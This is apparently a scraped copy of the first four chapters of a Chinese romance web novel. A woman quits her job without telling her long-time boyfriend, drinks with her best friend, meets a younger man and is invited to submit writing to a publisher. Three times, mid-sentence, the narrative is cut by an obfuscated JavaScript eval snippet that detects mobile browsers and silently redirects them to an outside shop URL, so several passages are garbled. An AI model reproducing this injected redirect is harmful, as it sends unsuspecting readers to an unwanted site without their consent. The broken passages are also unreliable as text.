《抱歉男孩,我有男人了》 1. 第 1 章 下午五点出头,临近下班时间,市场部的办公区域依旧一片忙碌,伏在电脑前的员工早已不对准点下班抱有期望。 何漆的办公桌靠近茶水间,她正不紧不慢地将桌面上仅剩的几样小物品放回包里。 “漆姐,你真要走啊?”市场部的一个年轻女孩站在何漆的工位边上,可怜巴巴地看着她。 年轻女孩名叫张心怡,比何漆小不了几岁,从大学还没毕业过来实习时就是何漆一手带着的,何漆要辞职,她自然最舍不得。 “休息段时间。”何漆耸了耸肩,将neverfull的包带捋到肩上,最后看了一眼已经清空的工位,走到张心怡的身边。 毕竟人还在公司,总不好高谈阔论这份倒霉催的工作到底给她的生活都带来了什么,像在提交的离职申请里一样,说些场面话就过去了。 张心怡慨叹一声,挽住何漆的手臂,将脑袋歪到她的肩上,无不羡慕地说:“漆姐我真佩服你,能这么说不干就不干。” 佩服她?何漆苦笑似的扯了扯嘴角,刚要说什么,茶水间便走出来一中年男子。 那是市场部里很有资历的一个老员工,却不知道出于什么原因,一向看不惯何漆。 他从两人面前路过,杯中浓郁的咖啡气息瞬间占领整条过道,何漆与张心怡识相地噤了声,只求他赶紧滚开,别在这儿讨人嫌。 可惜,贱人之所以为贱人者,以其犯贱功力之深厚也。 大腹便便的中年男子在两人面前顿了顿脚步,斜着眼瞥过来,目光黏在何漆肩上那只印满LVlogo的包包上,忽然露出一种似笑非笑的神情,讥讽道: “小怡,听哥一句劝,你还是省省吧,何小姐的福气不是什么人都羡慕得来的,人家上下班可都是卡宴接送呢!” 短短一句话,挑拨离间,明褒暗贬,把恶心人的招数用到极致。 何漆想撕破脸往他身上泼咖啡、扇他巴掌,但一来她不是这种人,二来张心怡还得在这地方继续讨生活。 于是她干脆不搭那人的茬,只用一个白眼翻过,像是什么都没听到似的对张心怡道:“对了,我还有个东西要给你。” 张心怡对那老员工多少有点怵,只能拘谨地配合何漆,将半边身子都转过去,一边用余光探查中年男子的脸色,一边恨不得能把自己塞进何漆的包里。 “这个。”何漆从包里拿出一个完好的包装盒,递到张心怡手里,“你之前不是说我的香水好闻?买了个新的当作送你的临别礼物,ckone挺适合通勤的。” 老员工伸长脖子看了一眼,随后不屑地“哼”出一声,端着满杯咖啡走开了。 何漆一时觉得自己实在失策,就应该当着他的面拿出保时捷车钥匙送出去,看看这登会不会直接把咖啡打翻。 张心怡接过香水,简直不知道该说什么,瘪了瘪嘴,一副马上要哭的表情,用力抱住何漆:“漆姐,谢谢你。” 何漆拍拍她的背,轻声细语地安慰:“放假了给我发消息,我请你吃饭。” “好。”张心怡拖长音答应,不舍地捏了捏何漆的手,冲她挥手再见。 何漆点头,十分干脆地走出了公司。 电梯一路下行,走进大厅,何漆头一回觉得这写字楼里的空气是如此清新,装修是如此顺眼,世间万物都好像变得可以原谅,除了那个啤酒肚的男同事。 再往外走,前台的两个小姑娘正好奇地望着大门外窃窃私语。 何漆顺势放缓脚步,同样朝外头看出去,不由惊了一跳。 楼外大门正对的空地上,停着一辆扎眼的粉红色宝马,车主人靠站在车门前,戴着墨镜,手里捧着一大束鲜玫瑰。 难怪引那么多人瞩目,不知道的还以为是来求婚的。 然而何漆一眼就认出来这位来“求婚”的姑娘——她最好的朋友,李家佳。 何漆也不知道这是要闹哪出,把包挎牢,无奈又好笑地推门出去,在李家佳面前站定,毫不客气地一巴掌拍在她胳膊上:“干什么呢?” 李家佳把墨镜往上一推,露出一张五官大气的脸:“当然是庆祝何小姐光荣辞职喽!” 何漆接过玫瑰花,浓郁的花香甚至让她的脑袋有点发晕,虽然嘴上嗔怪李家佳夸张的排场,但内心还是很高兴有这样的朋友。 她看了眼那辆被贴成超凡粉红的宝马S7,翻着白眼吐槽:“陈津有几次开车送我上下班,被一男同事看到了,几分钟前刚阴阳了我一通呢,要是被他看到你这车,估计得气吐血。” “早说还有这种货色啊。”李家佳转身把副驾的车门打开,回头朝何漆wink了一下,“我找人开个车队来接你,保准让他当场魂归西天!” 何漆被逗乐,坐进副驾驶,把玫瑰花暂且放到后排,自己系上安全带。 李家佳启动车子,车载音乐又是高昂的欧美曲子,她跟着旋律晃头晃脑,在后视镜里检查自己的妆容,随后一脚油门下去,踩得结结实实。 何漆短暂地闭上眼,同时精准握住车顶把手,一声不吭的样子显然已经习惯了李家佳这种把所有车都当跑车开的驾驶风格。 狂野驾驶员余光瞥到何漆的小动作,笑嘻嘻道:“不要怕嘛。” 出于对李家佳性格的了解,何漆随口问:“你跟我说实话,来之前没喝酒吧?” “白的没喝。” “什么叫白的没喝?!” 在何漆跳车之前,李家佳笑得一脸纯良:“哎呦开个玩笑嘛,人家可是遵纪守法好公民。” 路口处正好红灯,她把车停下,接着问:“不过这个点我们去哪儿啊?” “都行,你想去哪儿?” “我除了去酒吧还能去哪儿。”李家佳想起什么,扭头看了何漆一眼,“姐夫呢?你辞职他不陪你啊?” 李家佳口中的“姐夫”是何漆谈了七年的男友,陈津。 因为她比何漆小几个月,便对着何漆的男友一口一个“姐夫”地喊。 李家佳话音落地,车里便陷入一阵诡异的沉默,欧美歌手的嗓音在这几秒里显得格外聒噪,在红灯跳成绿灯的瞬间,何漆才颇为烦躁地开口: “他还不知道。” 李家佳吓得险些忘了踩油门,她一副惊魂未定的模样:“什么意思,你给我酒都吓醒了。” 何漆知道她满嘴跑火车,此刻看向窗外,脑海里出现一个男人的身影,眉头不自觉皱紧,长长叹出一口气。 辞职绝不是一件小事,更别说裸辞,况且从决定辞职到递交离职申请再到正式离职,这也不是一朝一夕间能完成的。 而何漆在这期间一星半点也没有透露给自己的男友。 李家佳越想越觉得不对,吞咽一次口水,问:“何漆,那男的是不是要完蛋了?” 前一秒还是姐夫,后一秒就那男的,何漆因她的从善如流轻笑出了声,然而郁闷的情绪却并没有清空。 “完蛋什么完蛋,我这才刚辞职呢,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059426|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么说也得多花点他的钱,等找到合心意的新工作之后再说吧。” 李家佳点头,也不敢多问:“漆姐英明。” “算了,带我去喝酒吧。” 何漆刚说完,电话铃声就有感应般响起,她将屏幕那面翻向自己,低垂的视线里映入了来电联系人——陈津。 李家佳迅速关了车载音乐,何漆任由默认铃声又响了两次,才接起。 “喂。”她把手机放到耳边。 对面传来低沉且极其悦耳的男声:“我今天早下班,打包了新山记的菜,现在过来接你下班?” 何漆没料到对话是这个开头,硬是噎了一会儿,才勉强道:“家佳来接我下班了,我在她车上。” “你们要出去吃吗?” “没有。”何漆咬着唇思索了两秒,“她路过我这儿,我回来。” “好,那我在家里等你。” 电话挂断,何漆撑着额头揉了揉眉心:“能先给我送回家吗,晚上吧,晚上我再出来跟你喝。” 李家佳不跟她计较这些,一挑眉、弹个响舌,便立马将车子换道。 前后不过二十分钟左右的车程,李家佳的车就已经停在了小区大门外,何漆解开安全带,半个身子往后转时看到了那捧玫瑰花,动作顿住,像在思考什么。 李家佳也意识到问题所在——何漆没告诉陈津她辞职的消息,不是过年过节的,往家里带那么大一束玫瑰花实在可疑。 她试探地问:“花要不就放我这儿?正好晚上出去喝酒,挑两个顺眼的小帅哥送几朵。” “我带上去吧。”何漆说话时像是下定了什么决心,她将身子探过去,把花抱进怀里,下车时笑着反问,“给你留两朵送帅哥?” 李家佳一手打方向盘,另一手朝她随意挥了挥:“别埋汰我!” “不然上来一起吃点?”何漆退开几步,留给车子掉头的空间。 “明知故问!”李家佳气呼呼地降下车窗大喊,“我可真怕死那姓陈的了!” 何漆无辜耸肩,浅笑着目送李家佳离开,转身往单元楼里走时却已经没了表情。 电梯里只有何漆一人,显示屏里的数字一路上涨,轻微的失重感,她整个人彻底放空,只有心脏的跳动不合往常规律。 “叮”——电梯门打开。 紧接着。 “滴”——指纹锁解开。 何漆脚步略显沉重地跨进玄关处,一手牢牢箍着大捧玫瑰花,一手去勾自己的鞋子。 客厅里的灯已经被打开,玄关处摆放着一双男鞋。 厨房里的人听到门口传来的动静,一边用厨房用纸擦手,一边大步走出来。 男人个头极高,目测直逼一米九,宽肩窄腰长腿,白衬衫黑西裤,发型是早上随手抓的背头。 他五官深邃而凌厉,领带刚刚解掉,领口处微微敞开,面无表情时就像李家佳说的那样,有种冰冷的可怕。 陈津一眼看到何漆手里的东西,微微蹙眉,问:“玫瑰花?” “嗯。”何漆换完拖鞋应了一声,走进屋子,将花放去客厅的茶几上,“家佳送的。” 陈津的双眉皱得更深了,又是接下班,又是送花:“今天是你们的什么纪念日?” 何漆弯腰放花的身影一滞,她下意识想将整个背部留给陈津,但又有什么促使着她僵硬地转过身,直直地与陈津对上视线。 她眉间很轻地一跳,开口坦白:“我辞职了。” 2. 第 2 章 此时正值九月末,方入秋,气温最适宜的时候。 屋内的装修是冷色调,成片打磨光滑的大理石光是看着就能想象其冰凉的触感。 诺大的住宅里死寂了两息。 陈津像是才确定她没有在开玩笑,试图作出合理的解释:“什么意思?是你打算从蓝启辞职……” “我已经辞职。”何漆打断他,“正式辞职,明天开始不用再去上班。” 她语速极快,看向陈津的眼神也带着一种莫名的坚硬,总之完全不像是看男朋友的眼神,反而更像提出离职时看向上司的眼神。 室内又静了半晌。 陈津抬手握在面前椅子的椅背上,像是暗暗用了力,手背上青筋凸起,他不解:“为什么没有提前告诉我?” “我……”何漆开口,喉间哽了一次,目光迅速从陈津脸上扫过,像是自知理亏但还要虚张声势,吞咽下口水才继续说,“这是我的决定,况且你最近……” 她话音未尽,一阵默认的手机铃声又硬生生将场面切断,声音来源是陈津的口袋。 该死的电话! 何漆内心怒骂,她好不容易才把这个滚得越来越大的雪球推到悬崖口! 但她面上不动声色,顺势止住了话题,看向陈津的西裤口袋,两手一摊,表示让他先忙。 陈津沉着脸,接起电话朝厨房走去的同时,何漆默默做了两个深呼吸,转过身,瞪着眼吐出一大口气—— 万幸的电话! 她其实也无法确定,雪球推下悬崖后究竟会不会砸死人,造成的后果会不会超出她的预期。 但按照经验来说,只凭一腔冲动做出的事情多半不会有好结果,所以还是冷静一点吧,得过且过,也没有到非要争吵的地步不是吗? 三思而后行总不会错,何漆安慰自己。 两分钟后,等陈津再次从厨房里出来,他似乎已经不在意何漆对他“先斩后奏”的辞职。 他把从新山记打包回来的菜品重新加热了一回,摆盘放在餐桌上,顺带给何漆盛了一碗米饭,但却没有他自己的。 何漆仍旧以先前的姿势抱臂站在餐桌边,平静地看着陈津为她放好筷子、汤匙,然后捞过放在一边的车钥匙和外套。 “公司里有事我得回去,你先吃,吃完放着我回来会收拾。”陈津步履匆匆地走到玄关处,动作突然顿了一下,“辞职的事,累了就休息吧。” 大门一开一合,男人的身影就这样一幕幕消失在了视野里。 何漆立在原地,脸上看不出任何情绪。 其实,从陈津接起电话的那一瞬间开始,她的内心便生出一种近乎抽离的平静。 她走到餐桌边沉默地坐下,看着一桌子热气腾腾的佳肴却没有动筷,反而拿出手机给李家佳拨去电话。 对面接通得很快,大咧咧喊了声“喂”。 何漆问:“开到哪儿了,要不要过来吃饭,新山记的菜。” 李家佳疑惑:“你不是在家,姐夫呢?” “公司有事,又回去了。” 对面语速飞快地骂了些什么,然后听到两声刺耳的喇叭:“等着,五分钟后到你楼下,咱俩喝酒去。” 何漆淡淡勾起嘴角,说了声“好”。 挂断电话后,她将桌上的饭菜原封不动地拿回厨房,在卫生间对着镜子整理头发,洗过手后在腕上重新喷了点香水。 看准时间下楼,粉色宝马正好在小区外停定。 既然是要去喝酒,那何漆就没了话语权,全权交给李家佳这个专家做决定。 李家佳知道何漆不喜欢太乱的地方,特意挑了个环境好的清吧,因为开在大学附近,养眼的小年轻也特别多。 两人选了处人少的散座,服务员拿来酒单,何漆不太熟悉,前后翻看着,对面的李家佳就已经大手一挥叫了两打啤酒。 来清吧的小年轻们多数是冲着漂亮的环境、新鲜的特调酒、顺带交友来的,更别提现在才刚过饭点,谁也没料到会遇上这种架势的,一时间投来好几道看热闹般的视线。 何漆单手托在下巴处,手掌遮住小半张脸,哭笑不得地勾了勾唇角,继续看那张印满文艺矫情、莫名其妙酒名的酒单。 她对酒精了解不多,底下的材料成分也看不出什么,便随意叫了两个酒名还算可以启齿的鸡尾酒。 “一杯心跳定律,一杯躺平时刻,谢谢。” 服务员记下,收起酒单离开。 啤酒上得比特调快,何漆原本不太爱喝,但又觉得那两打全让李家佳灌下去还得了,索性开了一瓶当苦味汽水饮。 李家佳在她对面坐姿豪放,仰起头,“咕咚咕咚”大口喝下,从喉咙里发出畅快的一声“哈!” “上次跟你一起喝酒是什么时候的事儿了?高中晚自习?” “哪有那么夸张。”何漆吃着桌上的小食,觉得李家佳话里有话,意思是自己最近太冷落她,辩解道,“工作后又不是不见面,而且那时候是我看着你喝。” “还不是因为你胆子小!” 拌嘴间,记忆回到当年。 两人是高中同学,十五岁就认识,就读于当地一所学费昂贵,但师资力量雄厚的私立高中。 何漆的家庭情况一般,不过成绩优秀,每年能拿到大额奖学金,即便如此,剩余的费用对她的父母来说也是一笔不小的负担。 李家佳的情况就与何漆不同,她是那所高中里比较普遍的存在,成绩还算看得过眼,并且家境优渥。 她父母是厂老板,在当地办了几家厂,从小把她养得吃穿不愁,花钱也大手大脚。 她俩从高中起就形影不离,可惜高三那年压力过大,李家佳放飞自我,成绩一落千丈,直接被爸妈送去了国外读大学。 一个家境普通的乖乖女,一个天不怕地不怕的厂二代,这对姐妹花组合当年在外人看来也是相当新奇。 但性格迥异的两人硬是建立起了十分深厚的友谊,甚至异国的大学四年里都保持着每日联系。 何漆考上的是邻省的一所名校,毕业后直接在本市找到了不错的工作,李家佳听到消息,毕业回国后连家都不回了,三天两头地往这个人生地不熟的城市跑,最后央求家里给买了套房,也算定居下来。 不过那时候何漆已经和陈津同居了。 李家佳对她这位姐夫的“敬畏”有一部分来源于,她对他实在知之甚少,因为何漆是在大一才遇到的陈津。 彼时一名关系不错的室友邀请何漆一起组队,说认识一个大神学长,可以带她们打比赛,何漆欣然同意,因此结识了当时在学校里出了的冰山学长——陈津。 他们磁场很合,何漆觉得应该可以这么说,从认识的第一天起就能感受到莫名的合拍。 她和陈津都是话不多的人,独处时沉默地干自己的事却也不会觉得尴尬。 这个年纪的少男少女,性格合适,互相吸引,谈上一段恋爱几乎是水到渠成的事儿。 只是没想到一谈就是七年,何漆大学毕业时陈津刚好拿到硕士学位,两人同步进入职场摸爬滚打,再然后陈津靠着几年的积蓄和家里的支持,买下房子,与何漆开始同居。 期间基本没有波折,连吵架都少有,称得上是一对模范情侣。 “所以,你跟姐夫说辞职的事了吗?”这个问题李家佳憋了一路,此刻终于问出口。 “说了。”颜色鲜艳的鸡尾酒端上来,何漆抿了一小口。 “姐夫什么反应?” “没什么反应。” “没什么反应?没什么反应是什么反应?”李家佳大惊失色,“辞职这种事,你半个字都没跟他商量,结果他毫无反应?我当年说得没错吧,陈津他就是外星人投放到地球的机器人!” 什么跟什么,何漆有些郁闷,特别是脑海里不停回放着自己说出已经辞职时,陈津看向她的眼神。 她伸手捋了把侧边的头发,不确定道:“其实,他本来应该快要有反应了……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059427|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后呢?” “然后……然后来了个电话。” 李家佳一动不动地木了片刻,确定不是自己喝蒙了的幻听,难以置信地发问: “不是,这跟电话有什么关系?来了支电话,又不是来了支镇定剂!” 何漆自己也说不清了,端起酒杯,囫囵地把一整杯全喝下:“哎呀,反正就是错过时机了!” 李家佳无奈地皱着眉,看出何漆已经够心烦的了,感情的事情也不是那么好分辨,索性不再给她添堵,识趣地换个话题: “不过我真挺佩服你的,半个月前跟我说不想干了,我当你瞎抱怨呢,结果一声不响地真离职了。” “我从不讲虚话。”何漆放下酒杯,酸中带苦的滋味在嘴里蔓延,半晌也很无奈,“犯愁,不知道要干什么了,休息着会很有负罪感。” 李家佳又开一瓶啤酒,片刻想起什么:“你高中不是很喜欢写作吗,博客有一万粉丝吧?继续写写呗。” 何漆闻言实实在在心里一惊,觉得李家佳能和自己玩这么多年还是有道理的,这姑娘简直比她肚子里的蛔虫还懂她! 那博客不过是她高中时发牢骚、装文艺用的,账号早丢了个干净,她也不想找回。 但也许正是有过因为文字而获得认可的经历,这些年想写点东西的心思一直反反复复,只是不清楚到底该做什么。 要是给甲方老板写,总也碍手碍脚,要听命于人,太过憋屈,时间一长,相看两厌。但要是为自己而写,真去当个作家,又觉得以她的才华,很难让自己吃得起饭。 何漆内心纠结,一时无言,李家佳见她没反驳,立刻懂了是有戏的意思,酒瓶也放下了,瞬间热络起来: “何漆、漆姐!写作好呀!我姑姑在出版社当编辑,我现在就把你微信推给她!” 何漆两眼猛地瞪大,怕了李家佳这想一出是一出的性子,一屁股坐到她身边,拍着她的胳膊阻止: “我还半个字都没写呢!联系出版社的姑姑干什么?你别这么着急!” “反正先聊着肯定不会错。”李家佳动作很快,消息已经发过去了,她收起手机兴冲冲地接着喝酒,“不过我姑姑脾气很差,反正她对我和我爹都没什么好脸色,但是你千万别怕她,有事儿我会先骂过去的。” 何漆额角一跳,很难想象这对姑侄的相处模式,事情来得太突然,她心里不安,又有点隐秘的期待。 “我现在哪还喝得下酒,就等你姑姑来加我了。”何漆嗔怪。 “你放心吧!”李家佳开第五瓶啤酒,显然已经有点喝上头了,说话声调一会儿高一会儿低,“以我对我姑的了解,明天早上八点之前她是不会回我消息的,更别说加你了!” 那还成,何漆心想,起码给她留点准备的时间。 点的两杯特调已经喝完了,大概度数不高,加上一瓶啤酒也没什么感觉,何漆便又新开一瓶。 坐在李家佳身边,慢慢地喝着,时不时用余光瞟她一眼,防止这人发疯。 近四个小时过去,酒桌上的空瓶一罐接着一罐。 “二十五岁了,你还一副学生样。”李家佳此时满脸涨红,说话大舌头,头一歪,靠在何漆肩上。 “我?”何漆知道她喝大了,天黑下来,酒吧里的客人也越来越多,于是一边敷衍着反问,一边打开手机叫代驾。 李家佳两眼闭上,一副昏昏欲睡的样子,含糊道:“对啊。” 她的脑子虽然被酒精麻痹了,但刚刚那句话是出自真心,方才何漆坐在她身边,垂着眼眸,一副心事很重的样子,安安静静喝酒,跟高中时几乎一模一样。 巴掌大的鹅蛋脸,五官及其精致秀气,一件薄款针织上衣,一条黑色半身裙,毫无半点张扬的气质,像一湾淡水似的。 也只有在面对她时会吵闹一点,李家佳想到这儿,内心很满意,笑眯眯地要在何漆肩上昏睡过去。 忽然,身侧传来一道完全陌生的男声: “表姐?” 3. 第 3 章 李家佳迷迷瞪瞪地睁开眼,何漆也跟着侧头看过去。 一个长相清爽帅气的年轻男孩站在她们两步之外的地方,穿着简单的黑色卫衣,外加一件潮牌牛仔外套。 三秒过去,谁也没应他的那声“表姐”,何漆以为是这男生看背影认错了人,有些替他尴尬。 谁知那男生没有半点窘迫的情绪,反而对着李家佳大大方方地笑起来:“家佳姐你应该不记得我了,我叫方翊,是李乐一的朋友,之前见过你两次。” 李乐一? 李家佳还靠在何漆肩上,一抬下巴就能把嘴凑到何漆耳边,解释道:“李乐一就是我姑姑的儿子,我表弟。” 何漆了然,脸上出现微微惊讶的神情,这未免也太巧了,今晚是捅了李家的窝吗? 向何漆解释完,李家佳艰难地从她肩头起来,因为难以维持平衡,整个人东摇西晃的,她朝方翊高兴地挥着手: “既然是李乐一的朋友,那你就算我半个表弟,叫我表姐没错!” 她话刚说完,脑袋就一阵眩晕,直直地要向前栽倒下去。 兵荒马乱间,碰倒几个酒瓶,何漆和方翊一左一右地扶住了她。 这个年轻男孩总算在见识了李家佳的“疯劲”之后露出稍显为难的神情,他抬眼看向另一侧的何漆,像是求助地问: “姐姐,你们是打算走了吗?” 何漆扫了一眼手机屏幕,代驾已经快到了,于是点点头。 她一边叫来服务员买单,一边对方翊道:“你……是跟朋友一起来的吗?快回去吧,我们要走了。” “没事的。”方翊看向何漆,对她弯着眼睛笑起来,“我帮你把家佳姐扶出去吧。” 喝醉酒的人又闹腾又沉,何漆原本已经做好了受累的准备,但方翊主动提出要帮忙,她就没有拒绝。 两人一左一右地握着李家佳的肩膀,受力点在方翊那儿,何漆基本只起了一个辅助的作用。 好不容易走到酒吧门口,代驾已经等着了,何漆把车钥匙给出去,师傅便赶紧去挪车。 初秋的晚风冻人,何漆搂住李家佳,让她往自己这边倒,转而对方翊说:“麻烦你了,外面冷,快回去吧。” 方翊用一双大眼睛盯着何漆,半晌没说话,忽然道:“姐姐,可以加个微信吗?你们安全到家了给我发个消息。” 何漆被问得措手不及,内心想拒绝。 李家佳却耍酒疯似的,两手扑腾着嚷嚷起来:“加啊加啊,你是我表弟的朋友,就是我李家佳的表弟!” 何漆头疼地箍紧她的双臂,见车已经开到面前了,大步将这醉鬼拖到后排。 方翊踌躇地跟在何漆身后,帮忙把李家佳塞到后座里躺着,在何漆上副驾之前,他又开口:“或者我留个电话号码,你们到家后给我发个短信也行。” 何漆拉开车门的动作顿住。 毕竟是李家佳表弟的朋友,怎么说也能跟李家佳搭上点关系,太不给面子也不好,况且这小男孩看起来还是挺热心善良的。 何漆拿出手机,调出二维码,向方翊微笑:“今晚谢谢你。” 方翊顿时露出欣喜的神色,一双眼睛亮得出奇,忙不迭扫了二维码:“不用客气姐姐,顺手帮个忙而已!” 何漆点点头,说声“再见”,转身上车。 后视镜里,男生的身影很久没有离去,杵在夜色当中,越来越远,何漆只看了两秒就收回视线。 代驾把车子开进李家佳小区的地库,何漆把后排熟睡的人叫醒,半扛着她上电梯。 刚进家门,李家佳便像开了雷达般,歪七扭八地跑进了主卧卫生间,声势浩大地吐了一回。 何漆无奈地叹出口气,在玄关处把自己的鞋子摆好,走进主卧时,李家佳已经从厕所出来,在床上四仰八叉地睡着了。 她艰难地替李家佳把妆卸掉,给她擦了把脸,随后关了主卧的灯,熟门熟路地走去次卧。 今晚何漆不打算回家了。 次卧里的生活用品一应俱全,卫生间里还留着一瓶她上次落在这儿的香水,何漆洗漱完,一身轻松地躺到床上。 她打开手机,想和陈津说一声自己今晚住李家佳这儿,看看时间发现已经快十二点了,微信里却没有收到任何消息,只有通讯录处亮着一个红点。 她点开和陈津的聊天界面,手指在输入框上停顿了片刻,最后什么也没打下,退了出去。 通讯录处有个昵称为“F_yi”的账号发来好友申请,并且发送了两次。 第一次是默认的申请信息,第二次写着“姐姐,你们到家了吗?” 何漆按下通过键,发去消息。 「抱歉,刚看手机,我们到家了。」 对面秒回,是一个站立着的小猫比OK的表情包。 「你们安全到家就好!对了姐姐,我叫方翊,还不知道你的名字。」 「何漆。」 「你还在跟朋友们玩吧?不打扰你了,我先休息。」 对面显示了一会儿“正在输入中”,最终只发过来一句“好的”。 何漆毫无情绪地退出聊天界面,在通讯录里又刷新了一会儿,确定没有遗漏的好友申请,关了灯,决定入睡。 - 第二天早上刚过八点,何漆悠悠转醒,她伸手摸到昨晚放在床头的手机。 眯着眼用面容解锁,界面还停留在微信里,视线扫过,通讯录处的新红点让她瞬间清醒。 点进去,显示一个昵称为“空谷幽兰”的新朋友发来好友申请。 何漆二话不说,一骨碌翻身下床,踩着拖鞋跌跌撞撞地跑去主卧。 李家佳还四仰八叉地在床上睡得流口水,何漆爬上她的床,轻轻把人推醒:“李家佳!快醒醒,你姑姑来加我了!” 李家佳这人恶习一箩筐,却出乎意料的没什么起床气,迷迷糊糊听见何漆的话,闭着眼睛擦了擦嘴角:“加呗,我都跟她说过了。我姑叫李秀兰,你叫她李老师好了,她最喜欢别人喊她老师。” 何漆明了,赶紧通过好友申请,恭恭敬敬地发过去一句“李老师,您好!我是何漆。” 对面过了两分钟才回复。 「你好,你就是李家佳的朋友?她说你是江大毕业的,对写作有想法。」 「我叫李秀兰,回声出版社的编辑,担任儿童文学编辑室的主任。」 何漆还没来得及回复什么,对面就紧跟着甩来三个文件。 「这是我们出版社最近的征文要求,如果你对这些主题没兴趣,也可以写别的,我们出版社长期征收不限题材的文稿。」 「写完后直接发给我,但对于你们这样的新手,我不抱有能够直接征用的奢望,不过如果我发现你连通过初审的水平都不够的话,以后就不必往我这里发,浪费彼此时间,投出版社的邮箱即可。」 一连串的消息一气呵成,何漆连半句话都插不进。 李家佳已经苏醒,脸靠在何漆的胳膊旁边,看着自家姑姑熟悉的语气,冷笑一声:“呵,她就这样。” 「好的我知道了,麻烦您了李老师。」 何漆回复完,直接点进李秀兰发来的文件,一边看一边对李家佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059428|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“这样才好,要求清楚明了,节省沟通成本。” 李家佳也懒得与她纠结“到底哪个是好的”这种问题,张嘴打了个大大的哈欠,忽然问:“昨天那个谁加你微信了没有?” “哪个谁?方翊?” “对,我表弟朋友,方翊。” “加了。” 闻言,李家佳的眼珠轻轻转了转,逐渐露出一个意味深长的笑容。 她笑眯眯地抬头看向何漆,醉酒后略显苍白的面容上也焕发出光彩,斩钉截铁地说: “方翊对你有意思。” 何漆被她那贼眉鼠眼的神情盯得浑身一激灵,随手划过两页文件,蹙眉道:“别瞎扯。” “真的。”李家佳坐起来一点,认真分析,“昨晚我就察觉出不对劲了,我问你,你会在酒吧里,跟只见过一两面、对方极大概率都不记得你的朋友的表亲打招呼吗?” “那也看性格吧。”何漆回,“我当然是不会,但你会不会跟只见过一两面、对方极大概率都不记得你的朋友的表亲打招呼,这就说不准了。” 两人这一通话极其绕口,说得差点咬舌头。 何漆补充:“而且你才是他朋友的表亲,他来打招呼,不是对你有意思吗?” “欸!”李家佳伸出一根手指左右摇了摇,一副专家的样子,“这就是问题的关键!明明我才是他朋友的表姐,那为什么他只加了你的微信,却不加我的呢?” 李家佳一边说,一边拿着手机从何漆面前嘚嘚瑟瑟地晃过,好像这是件多么值得骄傲的事。 “你说得有道理。”何漆点点头,浏览起最后一份文件,“不然我录下来给陈津听听?” 李家佳迅速噤声,用脑袋敲着何漆的手臂,小声抱怨“没意思”,过了一会儿又问:“姐夫最近很忙?” 何漆低低应了一声:“他们研发部最近有个大项目,为此新成立了一个小组,他升职成组长了。” “姐夫这么上进,方翊小朋友竞争力确实不够看啊。”李家佳嘀咕。 “你呢?”何漆问她,“今天没课?” 李家佳有国外留学的经历,最近找了个雅思培训机构当老师,何漆刚开始一度怕她带着学生去喝酒。 “下午才有课。”李家佳回。 这么一会儿功夫,何漆已经把李秀兰发来的三份文件全看完了,比起不限题材的自主投稿,她更偏向于写这类有主题限定的征文,让她不至于完全变成一只无头苍蝇。 前两个征文的主题颇为广泛,类似于初高中时期寒暑假作业里会出现的那种。 而第三个征文的题材是儿童文学,以“猫”为主题。 何漆内心想尝试这一篇,然而仔细查看起投稿要求才发现,截止日期竟然就在明天。 她一下从床上坐起来。 李家佳看她着急忙慌地下床,不解地问:“干嘛?姐夫来捉我俩的奸啦?” “不是,你姑姑发来的一篇征文明天就截止投稿了,我先回家。” “哦,要我送你回去吗?” “歇着吧。”何漆回次卧简单洗漱,换好衣服,在玄关处还不忘损人,“下午别吐学生桌上了!” 从李家佳小区打车回家,一路上何漆翻来覆去地看那篇征文要求,又搜了几本儿童读物,阅读了其中几个小短篇,仍是摸不着头绪。 出租车很快停在小区外,她握着手机,心不在焉地往里走。 进了单元楼,才按下电梯旁的上行键,电梯门便“叮”一声打开。 何漆抬眼,看到了倚靠在轿厢内,满身疲惫的陈津。 4. 第 4 章 说起来倒也有趣,一对同居情侣,彼此互不知情,夜不归宿,却在第二天回家的电梯上撞见了对方。 只怕无论谁来了都会在这对男女的脑门上贴起“貌合神离”的标签,然后好整以暇地等待一场激烈的争吵,或是夹枪带棒的嘲讽。 不过以上都没有发生,何漆只短暂地愣了一瞬,判断出陈津大概是刚从地库上来,大步走进电梯,站定后垂眼抚了抚袖口。 电梯门合上的瞬间,耳边响起陈津低哑疲倦的嗓音:“昨天在公司忙到很晚,没来得及给你发消息就睡过去了。” 何漆点头,感到陈津的体重微微压过来一点,他大概累到站不稳,借着何漆的力,又问:“你刚从外面回来?” “昨天跟李家佳出去喝了点酒。”何漆答,“喝醉了,就睡在她那儿。” 身上的压力更重了,何漆正了正站姿,得用上点力气才能将陈津倾斜过来的身体完全支住。 